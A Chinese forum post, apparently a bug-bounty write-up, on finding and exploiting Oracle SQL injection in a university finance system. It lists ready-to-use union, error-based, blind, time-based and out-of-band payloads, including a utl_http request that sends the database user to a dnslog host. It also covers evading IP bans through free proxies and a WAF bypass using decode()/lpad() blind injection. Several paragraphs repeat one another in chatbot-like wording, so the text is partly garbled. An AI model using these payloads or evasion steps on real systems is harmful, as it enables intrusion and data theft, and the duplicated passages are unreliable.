一次高校证书站点的Oracle注入绕过Web应用防火墙经历

揭示安全漏洞

通过使用 VPN 账号和密码,我能够轻松地访问目标系统。因此,我跳过了信息收集的步骤,直接登录了核心系统,如教务处和财务处,并进行了测试。很快,我在财务系统中发现了一个可疑的漏洞点,如下图所示。

如图所示,我在”支出金额范围(元)”的输入框中输入了一个英文单引号,并点击左上角的”按条件查询”按钮。结果,Oracle数据库返回了一个错误,指出单引号没有正确终止。具体的错误信息如下图所示。

图片[1]-一次高校证书站点的Oracle注入绕过Web应用防火墙经历-山海云端论坛

Oracle注入学习

联合查询注入

/?id=1 order by 3 --+ 判断列数
/?id=-1 union select null,null,null from dual --+ 获取显位
/?id=-1 union select 1,'2','3' from dual --+ 获取显位
/?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+  获取用户名(相当于MYSQL的库名)
/?id=-1' union select NULL,(select table_name from user_tables where rownum=1 and owner='XXX'),NULL from dual--+ 获取XXX用户下的表名
/?id=-1 union select 1,(select column_name from all_tab_columns where owner='XXX' and table_name='USER' and rownum=1),'3' from dual --+ 获取XXX用户下USER表的字段
/?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+ 获取数据

报错注入

/?id=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+
/?id=-1' or (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+
/?id=-1' or (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+

布尔盲注

/?id=1 and (select ascii(substr(user,1,1))from dual)>65 --+

时间盲注

/?id=1' and 1=(case when (ascii(substr((select user from dual),1,1))>65) then dbms_pipe.receive_message('RDS',5) else 0 end) --+

DNSLOG带外注入

/?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.xxxxxx.dnslog.cn/oracle')=1 --+

尝试注入

有了上面的笔记,我心想应该很快就能注出来,已经开好漏洞提交的页面准备边注边写报告了,结果 payload 一贴。。

图片[2]-一次高校证书站点的Oracle注入绕过Web应用防火墙经历-山海云端论坛

绕过WAF进行盲注

由于直接封禁IP非常困难,所以我决定在在线代理池中寻找一些免费代理进行继续测试。我运用了我在CTF比赛中积累的经验,采用了双写大小写编码的技巧来绕过WAF。然而,即使我几乎用完了所有的免费IP,仍然无法成功绕过WAF。WAF会检测常见的函数,比如select、substr、length、instr、ascii等,并封禁相应的IP。面对这种情况,我只能去搜索其他专家们关于Oracle注入攻击的实战帖子。在我的搜索中,我发现了decode()函数这个可用的函数。

decode(表达式,value,value1,value2)函数的作用是当”表达式”的运算结果等于”value”时,decode函数输出value1;反之,如果不等,则输出value2。有了这个函数,我们可以逐个字符猜解”表达式”,结合Oracle除数为0时会产生特殊错误的特性来进行盲注。

然而,问题随之而来。在decode函数的盲注表达式中,我们应该使用什么呢?那些常见的函数已经无法使用了,我们需要查阅Oracle手册,寻找一些WAF黑名单之外的冷门函数。在我的研究中,我发现了lpad()这个字符串填充函数似乎可以一试。

lpad(string, padded_length, [pad_string])函数的参数解释如下:

  • string: 原始字符串,即需要填充的字符串。
  • padded_length: 指定结果字符串的总长度。如果长度小于原始字符串的长度,那么原始字符串将会被截取到指定长度。
  • pad_string: (可选)用于填充的字符或字符串。如果未指定,默认使用空格字符进行填充。

简而言之,如果当前Oracle用户名为”wangzi”,那么lpad(user,1,1)的结果为”w”,lpad(user,2,1)的结果为”wa”。而lpad(user,9,6)的结果将会输出”666wangzi”,在左侧填充了pad_string位的字符”6″,使得输出的字符串达到九位。

最终,我们构造了盲注语句1/decode(lpad(user,1,1),’A’,1,0),将其输入到”支出金额范围(元)”的输入框中,并点击查询。结果,我们得到了一个正常的除以0的报错回显。这说明当前连接的用户名的第一个字符不是”A”。具体如图所示。

图片[3]-一次高校证书站点的Oracle注入绕过Web应用防火墙经历-山海云端论坛

以此类推,再继续构造盲注语句 1/decode(lpad(user,1,1),'C',1,0) ,将其输入在 “支出金额范围(元)” 处,并点击查询,发现报错回显查询结果超过控制数。证明 payload 运算结果为 1,即当前连接的用户名第一个字符为 C。若将此处的 C 换成其他任何字符,回显都是除数为 0。如图所示。

继续构造盲注语句

非常好!根据您的指示,我们可以继续构造盲注语句1/decode(lpad(user,1,1),’C’,1,0),将其输入到”支出金额范围(元)”的输入框中,并点击查询。结果,我们得到了一个报错回显,提示查询结果超过控制数。这证明我们的payload的运算结果为1,也就是说当前连接的用户名的第一个字符为C。如果我们将这个C替换为任何其他字符,回显都会是除数为0的错误。如下图所示。

图片[4]-一次高校证书站点的Oracle注入绕过Web应用防火墙经历-山海云端论坛

继续构造盲注语句

非常好!根据您的指示,我们可以继续构造盲注语句1/decode(lpad(user,2,1),’CA’,1,0),将其输入到”支出金额范围(元)”的输入框中,并点击查询。结果,我们得到了一个报错回显,仍然是除数为0的错误。这说明当前连接的用户名的第二个字符不是A。如下图所示。

图片[5]-一次高校证书站点的Oracle注入绕过Web应用防火墙经历-山海云端论坛


继续构造盲注语句

非常好!根据您的指示,我们不断遍历字符测试,直到构造出1/decode(lpad(user,2,1),’CW’,1,0)。将其输入到”支出金额范围(元)”的输入框中,并点击查询。结果,我们得到了一个报错回显,提示查询结果超过控制数。这证明我们的payload的运算结果为1,也就是说当前连接的用户名的第二个字符为W。如果我们将这个W替换为任何其他字符,回显都会是除数为0的错误。如下图所示。

图片[6]-一次高校证书站点的Oracle注入绕过Web应用防火墙经历-山海云端论坛

同理,构造 1/decode(lpad(user,3,1),'CWB',1,0) 和 1/decode(lpad(user,4,1),'CWBS',1,0) 时,回显不是除数为 0,而是查询结果超过控制数。故我们通过盲注,成功得到了该 Oracle 数据库当前连接的用户名,即 CWBS。遍历其它任何字符,盲注第五位的回显都是除数为 0,故用户名只有 4位。漏洞验证成功!

图片[7]-一次高校证书站点的Oracle注入绕过Web应用防火墙经历-山海云端论坛

因为这里的数据包是被全局加密的,而且 WAF 封得严,所以没能用 BP 或者脚本进行快速遍历字符进行盲注。不过弄到大半夜也算是勉强注出来了,坐等证书发货。若有不够严谨的地方,还请师傅们批评指正。

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容